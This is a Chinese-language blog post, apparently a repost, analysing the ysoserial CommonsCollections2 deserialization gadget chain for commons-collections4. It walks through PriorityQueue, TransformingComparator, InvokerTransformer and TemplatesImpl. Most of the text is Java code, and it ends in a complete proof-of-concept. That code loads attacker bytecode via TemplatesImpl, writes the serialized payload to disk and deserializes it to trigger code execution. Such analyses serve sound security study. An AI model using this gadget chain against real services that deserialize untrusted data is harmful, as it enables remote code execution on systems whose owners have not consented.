百木园在最后一步的实现上，cc2和cc3一样，最终都是通过TemplatesImpl恶意字节码文件动态加载方式实现反序列化。
已知的TemplatesImpl->newTransformer()是最终要执行的。
TemplatesImpl类动态加载方式的实现分析见ysoserial CommonsCollections3 分析中的一、二部分。
TemplatesImpl->newTransformer()的调用通过InvokerTransformer.transform()反射机制实现，这里可以看ysoserial CommonsCollections1 分析中的前半部分内容。
cc2是针对commons-collections4版本，利用链如下：
/*
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
*/
所以在InvokerTransformer.transform()之后的利用如下：
public class CC2Test2 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class templates_cl= Class.forName(\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\");
Field name = templates_cl.getDeclaredField(\"_name\");
name.setAccessible(true);
name.set(templates,\"xxx\");
Field transletIndex = templates_cl.getDeclaredField(\"_transletIndex\");
transletIndex.setAccessible(true);
transletIndex.set(templates,0);
byte[] code = Files.readAllBytes(Paths.get(\"D:\\\\workspace\\\\javaee\\\\cc1\\\\target\\\\classes\\\\com\\\\Runtimecalc.class\"));
byte[][] codes = {code};
//给_bytecodes赋值
Field bytecodes = templates_cl.getDeclaredField(\"_bytecodes\");
bytecodes.setAccessible(true);
bytecodes.set(templates,codes);
//要顺利执行，_tfactory得赋值，因为defineTransletClasses中调用了_tfactory的getExternalExtensionsMap
//_tfactorys是TransformerFactoryImpl类型的
TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
Field tfactory = templates_cl.getDeclaredField(\"_tfactory\");
tfactory.setAccessible(true);
tfactory.set(templates,transformerFactory);
InvokerTransformer transformer = new InvokerTransformer(\"newTransformer\", null, null);
transformer.transform(templates);
}
}
一、InvokerTransformer.transform()的调用
TransformingComparator的compare，实现了对属性this.transformer的transform调用，这里可以通过TransformingComparator构造方法为该属性赋值。
public class TransformingComparator<I, O> implements Comparator<I>, Serializable {
private static final long serialVersionUID = 3456940356043606220L;
private final Comparator<O> decorated;
private final Transformer<? super I, ? extends O> transformer;
public TransformingComparator(Transformer<? super I, ? extends O> transformer) {
this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
}
public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) {
this.decorated = decorated;
this.transformer = transformer;
}
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
}
通过compare的调用
InvokerTransformer transformer = new InvokerTransformer(\"newTransformer\", null, null);
TransformingComparator transformingComparator = new TransformingComparator(transformer);
transformingComparator.compare(null,templates);
二、TransformingComparator.compare()的调用
PriorityQueue类中的readobject()调用了heapify()，heapify()中调用了siftDown()，siftDown()调用了siftDownUsingComparator()，siftDownUsingComparator()方法实现了comparator.compare()调用。
那么只要将transformingComparator对象赋值给comparator，可以通过反射，也可以通过构造方法，这里通过构造方法，且initialCapacity不能小于1。
public PriorityQueue(int initialCapacity,
Comparator<? super E> comparator) {
// Note: This restriction of at least one is not actually needed,
// but continues for 1.5 compatibility
if (initialCapacity < 1)
throw new IllegalArgumentException();
this.queue = new Object[initialCapacity];
this.comparator = comparator;
}
由于comparator.compare()中的参数来自queue，所以需要将templates赋值给queue。
InvokerTransformer transformer = new InvokerTransformer(\"newTransformer\", null, null);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);
priorityQueue.add(1);
priorityQueue.add(templates);
但是由于在priorityQueue.add()方法中会调用siftUp()->siftUpUsingComparator()->comparator.compare()。
priorityQueue.add()中带入的参数对象如果不存在newTransformer方法将报错，另外使用templates作为参数，又会导致在序列化过程构造恶意对象的时候得到执行。所以这里先用toString()方法代替，后通过反射方式修改this.iMethodName属性。
TransformingComparator transformingComparator = new TransformingComparator(transformer);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Field iMethodName = transformer.getClass().getDeclaredField(\"iMethodName\");
iMethodName.setAccessible(true);
iMethodName.set(transformer,\"newTransformer\");
三、queue属性赋值
transient queue无法序列化，但在PriorityQueue的writeobject()、readobject中对queue做了重写，实现序列化和反序列化。
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException {
//略
for (int i = 0; i < size; i++)
s.writeObject(queue[i]);
}
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
//略
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
heapify();
}
通过反射修改queues[0]，利用如下：
TransformingComparator transformingComparator = new TransformingComparator(transformer);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Field iMethodName = transformer.getClass().getDeclaredField(\"iMethodName\");
iMethodName.setAccessible(true);
iMethodName.set(transformer,\"newTransformer\");
Field queue = priorityQueue.getClass().getDeclaredField(\"queue\");
queue.setAccessible(true);
Object[] queues = (Object[]) queue.get(priorityQueue);
queues[0] = templates;
//这里得替换queues[0]
//如果queues[0]依旧保留使用Integer，会因为无法找到newTransformer报错。
最终完整利用实现：
public class CC2Test2 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class templates_cl= Class.forName(\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\");
Field name = templates_cl.getDeclaredField(\"_name\");
name.setAccessible(true);
name.set(templates,\"xxx\");
Field transletIndex = templates_cl.getDeclaredField(\"_transletIndex\");
transletIndex.setAccessible(true);
transletIndex.set(templates,0);
byte[] code = Files.readAllBytes(Paths.get(\"D:\\\\workspace\\\\javaee\\\\cc1\\\\target\\\\classes\\\\com\\\\Runtimecalc.class\"));
byte[][] codes = {code};
//给_bytecodes赋值
Field bytecodes = templates_cl.getDeclaredField(\"_bytecodes\");
bytecodes.setAccessible(true);
bytecodes.set(templates,codes);
//要顺利执行，_tfactory得赋值，因为defineTransletClasses中调用了_tfactory的getExternalExtensionsMap
//_tfactorys是TransformerFactoryImpl类型的
TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
Field tfactory = templates_cl.getDeclaredField(\"_tfactory\");
tfactory.setAccessible(true);
tfactory.set(templates,transformerFactory);
InvokerTransformer transformer = new InvokerTransformer(\"toString\", null, null);
TransformingComparator transformingComparator = new TransformingComparator(transformer);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Field iMethodName = transformer.getClass().getDeclaredField(\"iMethodName\");
iMethodName.setAccessible(true);
iMethodName.set(transformer,\"newTransformer\");
Field queue = priorityQueue.getClass().getDeclaredField(\"queue\");
queue.setAccessible(true);
Object[] queues = (Object[]) queue.get(priorityQueue);
queues[0] = templates;
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(\"D:\\\\cc2.ser\"));
objectOutputStream.writeObject(priorityQueue);
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(\"D:\\\\cc2.ser\"));
objectInputStream.readObject();
}
}
来源：https://www.cnblogs.com/vpandaxjl/p/16852619.html
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